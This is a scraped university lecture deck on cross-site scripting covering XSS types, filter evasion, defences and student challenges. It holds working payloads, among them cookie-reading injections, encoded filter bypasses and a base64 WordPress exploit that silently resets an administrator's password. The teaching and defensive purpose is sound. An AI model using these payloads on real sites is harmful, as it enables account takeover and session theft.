Cross-Site Scripting: analysis, identification and exploitation - - PowerPoint PPT Presentation

▶
cross site scripting analysis identification and
SMART_READER_LITE
LIVE PREVIEW

Cross-Site Scripting: analysis, identification and exploitation - - PowerPoint PPT Presentation

Mar 20, 2023 440 likes •733 views

Cross-Site Scripting: analysis, identification and exploitation Mauro Gentile Web Application Security course (Elective in Computer Networks) prof. Fabrizio d'Amore Dept. of Computer, Control, and Management Engineering Antonio Ruberti

slide-1
SLIDE 1

Cross-Site Scripting: analysis, identification and exploitation

Mauro Gentile

Web Application Security course (Elective in Computer Networks)

  • prof. Fabrizio d'Amore
  • Dept. of Computer, Control, and

Management Engineering Antonio Ruberti Sapienza University of Rome

slide-2
SLIDE 2
  • Msc in Computer Engineering
  • Application Security background
  • Master's Thesis: “Automatic and Context-Aware Cross-Site Scripting Filter

Evasion”, supervisor: prof. d'Amore

  • XSS filter evasion tool: http://code.google.com/p/snuck/
  • Ranked 4th in the “Premio Clusit” as one of the most innovative Italian IT security

thesis in 2012

  • Security Consultant at Minded Security
  • Application Security Consulting & Security Research company
  • Interested in:
  • Web Application Security
  • Web Browser Security
  • Some bugs @ http://www.sneaked.net

Who am i?

slide-3
SLIDE 3
  • Why web app sec is important?
  • Online platforms handling private data are becoming more and more popular
  • High benefits from the users perspective, but...
  • … such kind of applications fascinate the hackers!
  • Huge number of web app attacks registered in the last years
  • High probability of being attacked sooner or later
  • Accessing companies data possibly implies:
  • Customer loss
  • Reputation impact
  • Building a completely safe web app is not easy!
  • Many aspect should be taken into account (OWASP principles)
  • Attackers could be smart
  • Awareness is required among developers

Web App Security

slide-4
SLIDE 4

XSS: Cross-Site Scripting

  • XSS is a web application vulnerability that exploits the trust a user has for a web site
  • The attacker's goal is to execute malicious code in the context of a trusted web site
  • Practical example?

Hey <?php echo $_GET['name']; ?>, how are u?

The application reflects the name given in the GET parameter called name.

http://target.net/page.php?name=superman Hey superman, how are u?

But the attacker could inject its own code in order to execute JavaScript

http://target.net/page.php?name=<script>alert(1)</script> Hey <script>alert(1)</script>, how are u?

slide-5
SLIDE 5

One step back: SOP

  • Web Browser security is regulated by a policy, the Same Origin Policy, which restricts

how a document or script loaded from one origin can interact with a resource from another origin

  • Practically speaking, the scripts in domain A.com cannot access the data in B.com
  • How is XSS related to SOP?
  • The attacker can inject code in the target domain
  • The web browser cannot distinguish among a benign and a malicious script
  • Therefore it executes it
  • This means that the attacker can access the data in that domain since this is perfectly legit

from the SOP perspective

  • External JavaScript running on your domain!

SOP , Mozilla Developer Network: https://developer.mozilla.org/en-US/docs/JavaScript/Same_origin_policy_for_JavaScript Browser Security Handbook, part 2: https://code.google.com/p/browsersec/wiki/Part2

slide-6
SLIDE 6

XSS Classification

  • Reflected XSS
  • Injection immediately echoed in the server's response
  • Refer to the previously mentioned example
slide-7
SLIDE 7

XSS Classification

  • Stored XSS
  • Injection stored in a permanent data store and echoed at every visit
slide-8
SLIDE 8

XSS Classification

  • DOM-Based XSS
  • Misuse the existent client-side script in order to make it work maliciously

DOM Based Cross Site Scripting or XSS of the Third Kind: http://www.webappsec.org/projects/articles/071105.shtml <html> <body> <script> var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length)); </script> </body> </html>

How can we trigger the issue? http://target/test.html#name=<script>alert(1)</script> How to discover them? Realtime Dynamic Data Tainting – DOMinator, https://dominator.mindedsecurity.com/

slide-9
SLIDE 9

XSS detection

  • Manual Penetration testing
  • Time-consuming task and expert skills are obviously required
  • However, good detection coverage
  • Web Vulnerability Scanners
  • Tools that address the vulnerabilities detection problem by automating the whole

discovery process

  • The existing literature showed many intrinsic limitations:
  • False positives
  • Crawling problem
  • Poor coverage of data entry points
  • Intended Workflow
  • How should the application be used?

Why Johnny can't pentest: an analysis of black- box web vulnerability scanners: http://cs.ucsb.edu/~adoupe/static/black-box-scanners- dimva2010.pdf

slide-10
SLIDE 10

Protecting against XSS

  • Server-side mechanisms
  • HtmlPurifier
  • Client-side mechanisms
  • NoScript, XSSAuditor
  • Web Application Firewalls
  • ModSecurity
  • Content Security Policy

XSS filter: sanitization system that prevents malicious code to be supplied through a form or, more generally, through a data entry point in a web application

slide-11
SLIDE 11

Some examples

  • Basic XSS #1

<html> <body> <script> var my_variable = “<?= $_GET['test']; ?>”; // handle my_variable here </script> </body> </html>

How can we inject it?

http://target/page.php?test=“;alert(1)// <html> <body> <script> var my_variable = ““;alert(1)//”; // handle my_variable here Break out the JS variable and close the assignment Injection payload Comment the rest in

  • rder to avoid JS errors
slide-12
SLIDE 12

Some examples (cont.d)

  • Basic XSS #2

<html> <body> <a href=“<?= $_GET['test']; ?>”>click me</a> </body> </html> How can we inject it? http://target/page.php?test=javascript:alert(1) Pseudoscheme + colon Injection payload No colon allowed? http://target/page.php?test=#” onmouseover=alert(1)// http://target/page.php?test=%23%22%20onmouseover %3Dalert(1)%2F%2F Url encoded:

slide-13
SLIDE 13

Filtering

  • Dumb Filtering Example #1
  • Filtering means to strip out potentially harmful user-generated content

<html> <body> <?php $text = $_GET['test']; echo strip_tags($text, '<p><a>'); ?> </body> </html>

  • Stopping <script>alert(1)</script> or similars would not

make the app XSS-safe!

  • The attacker could still inject <a href=javascript:alert(1)>xxx
slide-14
SLIDE 14

Filtering (cont.d)

  • Dumb Filtering Example #2
  • Idea: stripping out double quotes to avoid attribute breaking

Obviously vulnerable: http://target/page.php?id=);prompt(document.cookie)// Fix #1 – disallow parentheses and double quotes Developer's perspective: disallowing parentheses means to avoid the attacker to execute JavaScript functions Attacker's perspective: is there any chance to make a successful injection without using parentheses?

slide-15
SLIDE 15

Filtering (cont.d)

  • Dumb Filtering Example #2

Attacker's perspective: is there any chance to make a successful injection without using parentheses? Yes! http://target/page.php?id=location.href='javascript:prompt%2528/mauro%20rocks/%2529' Fix #2 – disallow parentheses, double quotes and colons Developer's perspective: disallowing colons will block the attacker to generate these malicious redirects Attacker's perspective: is there any chance to make a successful injection without using these characters? http://target/page.php?id=location.href='javascript:prompt%2528/mauro%20rocks/%2529'

slide-16
SLIDE 16

Filtering (cont.d)

  • Dumb Filtering Example #2

Attacker's perspective: is there any chance to make a successful injection without using colons? Yes! http://target/page.php?id=location.href='javascript%26%2358;prompt%2528/mauro %20rocks/%2529' Fixing in this way is incredibly foolish!

  • XSS cannot be solved through a blacklist, whereas a whitelist approach allows to

successfully handle such situations

  • We can continue to fix over and over as the attacker will always find a way to obfuscate its
  • wn payload
  • XSS is related to the context, therefore output encoding should be carried out on the basis
  • f the context the supplied data will be reflected into
  • Solution: use web application security control library, such as OWASP ESAPI

http://target/page.php?id=innerHTML=location.hash#<img src=xx:x onerror=alert(1) />

slide-17
SLIDE 17

Filtering (cont.d)

The mentioned issue could have been simply handled through input validation, as follows:

  • Adopting regular expressions means to implicitely adopt a whitelist
  • No chance for the attacker to inject non numeric chars
  • However, these are very basic attack scenarios...
  • Allowing users to share its own content, while giving them a wide degree of freedom

in terms of allowed inputs, may become challenging

  • The complexity raises as the number of possible data entry points in which users

might marshal content increases Simple and effective

slide-18
SLIDE 18

Exploitation

  • How to exploit an XSS
  • Exploiting vulnerabilities requires creativity as it is quite application-dependent
  • Evading robust filters requires strong ninja skills
  • Some attack vectors may work in a browser, but not in another
  • A smart exploit would require to know the basic application logic
  • Exploit methodologies
  • Session Hijacking – steal session information to impersonate the victim
  • Modifying user credentials
  • Stealing anti-CSRF tokens – perform unwanted actions on the victim's behalf
  • Phishing attacks
  • Control the whole user session

How to: Exploit an XSS: http://blog.detectify.com/post/35208929112/how-to-exploit-an-xss XSS-Track: How to quietly track a whole website through single XSS: http://blog.kotowicz.net/2010/11/xss-track-how-to-quietly-track-whole.html Javascript keylogger in JQuery: http://www.idontplaydarts.com/2011/05/javascript-keylogger-in- jquery/

slide-19
SLIDE 19

Exploitation

  • Exploitation example
  • Persistent XSS in WordPress <= 3.3.1, fixed
  • The attacker could supply a malicious comment, as follows:

<a href="feed:data:text/html;base64,PHNjcmlwdD4KZnVuY3Rpb24gc3RhcnQoKSB 7CnZhciBwd2QgPSAibXluZXdwd2QiOwp2YXIgaWZyID0gZG9jdW1lbnQuZ2V0RWxlbWV udHNCeVRhZ05hbWUoImlmcmFtZSIpWzBdOwp2YXIgaWZyRG9jID0gaWZyLmNvbnRlbnR Eb2N1bWVudCB8fCBpZnIuY29udGVudFdpbmRvdy5kb2N1bWVudDsKdmFyIHRoZUZvcm0 gPSBpZnJEb2MuZ2V0RWxlbWVudHNCeU5hbWUoInBhc3MxIilbMF07CnRoZUZvcm0udmF sdWUgPSBwd2Q7CnRoZUZvcm0gPSBpZnJEb2MuZ2V0RWxlbWVudHNCeU5hbWUoInBhc3M yIilbMF07CnRoZUZvcm0udmFsdWUgPSBwd2Q7Cmlmci5vbmxvYWQ9ZnVuY3Rpb24oKXt sb2NhdGlvbj0naHR0cDovLzEyNy4wLjAuMS9DTVMvd29yZHByZXNzLyc7fTsKaWZyRG9 jLmdldEVsZW1lbnRCeUlkKCJzdWJtaXQiKS5jbGljaygpOwp9Cjwvc2NyaXB0Pgo8aWZ yYW1lIHNyYz0iaHR0cDovLzEyNy4wLjAuMS9DTVMvd29yZHByZXNzL3dwLWFkbWluL3B yb2ZpbGUucGhwIiB3aWR0aD0wIGhlaWdodD0wIG9ubG9hZD0ic3RhcnQoKSI+">CLICK ME!!!</a>

Multiple vulnerabilities in Wordpress: http://www.sneaked.net/multiple-vulnerabilities-in- wordpress

slide-20
SLIDE 20

Exploitation (cont.d)

  • Decoding the base64 payload...

<script> function start() { var pwd = "MY_NEW_PWD"; var ifr = document.getElementsByTagName("iframe")[0]; var ifrDoc = ifr.contentDocument || ifr.contentWindow.document; var theForm = ifrDoc.getElementsByName("pass1")[0]; theForm.value = pwd; theForm = ifrDoc.getElementsByName("pass2")[0]; theForm.value = pwd; ifr.onload=function(){location='http://127.0.0.1/CMS/wordpress/';}; ifrDoc.getElementById("submit").click(); } </script> <iframe src="http://127.0.0.1/CMS/wordpress/wp-admin/profile.php" width=0 height=0 onload="start()">

  • Asking the admin to click the injected link makes him modify its own password!
  • data URIs inherit the origin of the opener in Firefox
  • feed scheme in Firefox <= 13
  • X-Frame-Options: SAMEORIGIN in WordPress
slide-21
SLIDE 21

Here starts the fun...

  • We introduce 4 XSS challenges, that you should solve!
  • http://www.dis.uniroma1.it/~waslab/ - read the Note, it's important!
  • Increasing complexity
  • For any challenge you are asked to meet a goal
  • You are basically asked to manage a successful injection that allows to execute your own

code

  • Play hard and focus on the goals
  • Submit your solutions through the challenge itself
slide-22
SLIDE 22

Challenge #1

  • URL: http://www.dis.uniroma1.it/~waslab/challenge-1.php
  • Complexity: basic
  • Goal: perform an alert([your_name rocks]) – for instance generate an alert('mauro

rocks')

  • Description: Your input is filtered in a very easy fashion
  • You need to “reverse” the filter function logic and inject HTML code aiming towards

executing JS code

  • Example: http://www.dis.uniroma1.it/~waslab/challenge-1.php?

xss=nice_to_meet_u_xss

<html> <body> <textarea> <?= filter($_GET['test']); ?> </textarea> </body> </html>

slide-23
SLIDE 23

Challenge #2

  • URL: http://www.dis.uniroma1.it/~waslab/challenge-2.php
  • Complexity: basic
  • Goal: perform an alert([your_name]) – for instance generate an alert('mauro')
  • Description: Common XSS scenario
  • Your input is reflected in the attribute src of an image
  • Try with this: http://www.dis.uniroma1.it/~waslab/challenge-2.php?

xss=http://upload.wikimedia.org/wikipedia/commons/8/8a/Cat_eyes_2007-2.jpg

<html> <body> <img src=”<?= filter($_GET['test']); ?>” /> </body> </html>

slide-24
SLIDE 24

Challenge #3

  • URL: http://www.dis.uniroma1.it/~waslab/challenge-3.php
  • Complexity: medium
  • Goal: perform an alert('xss')
  • Description: Common XSS scenario in the case of persistent ones
  • You can inject HTML code, but you need to understand which whitelist is employed
  • Quite tricky since some annoying filtering mechanisms are adopted
  • Try with this: http://www.dis.uniroma1.it/~waslab/challenge-3.php?xss=<h1>my

firSt injection</h1>

<html> <body> <?= filter($_GET['test']); ?> </body> </html>

slide-25
SLIDE 25

Challenge #4

  • URL: http://www.dis.uniroma1.it/~waslab/challenge-4.php
  • Complexity: advanced
  • Goal: perform an alert(1)
  • Description: Advanced XSS scenario
  • Two injection parameters
  • Puzzling filtering mechanisms are adopted
  • Squeeze your brain...!

<script> /* alert(<?= filter($_GET['a']); ?>=<?= filter2($_GET['b']); ?>) */ </script>

slide-26
SLIDE 26

Challenge (cont.d)

  • Hints will be provided if troubles arise
  • For further information – excluding solutions – mail @ gentile.mauro.mg@gmail.com
  • ...and, last but not least, have fun guys!
  • In addition, we are working on some other challenges - refer to

http://www.dis.uniroma1.it/~waslab/

  • SQL Injection
  • Local File Inclusion
  • Command Execution

Challenge (cont.d)

slide-27
SLIDE 27
  • The Web Application Hacker's Handbook: Discovering and Exploiting Security Flaws,

Dafydd Stuttard, Marcus Pinto

  • Web Application Obfuscation: '-/WAFs..Evasion..Filters//alert(/Obfuscation/)-',

Mario Heiderich, Eduardo Alberto Vela Nava, Gareth Heyes, David Lindsay

  • The Tangled Web: A Guide to Securing Modern Web Applications,

Michal Zalewski

  • Browser Security Handbook, http://code.google.com/p/browsersec/wiki/Main,

Michal Zalewski

  • domxsswiki, http://code.google.com/p/domxsswiki/,

Stefano Di Paola

  • Cross-site Scripting (XSS), https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29,

OWASP

  • Cross Site Scripting Attack, http://www.acunetix.com/websitesecurity/cross-site-scripting/,

Acunetix

  • Hackvertor, https://hackvertor.co.uk/public,

Gareth Heyes

Recommended readings and resources

slide-28
SLIDE 28
  • Thanks!

Questions?

Mauro Gentile Personal Email: gentile.mauro.mg@gmail.com Blog: http://www.sneaked.net Twitter: @sneak_ Company Email: mauro.gentile@mindedsecurity.com Site: http://www.mindedsecurity.com Blog: http://blog.mindedsecurity.com Twitter: @mindedsecurity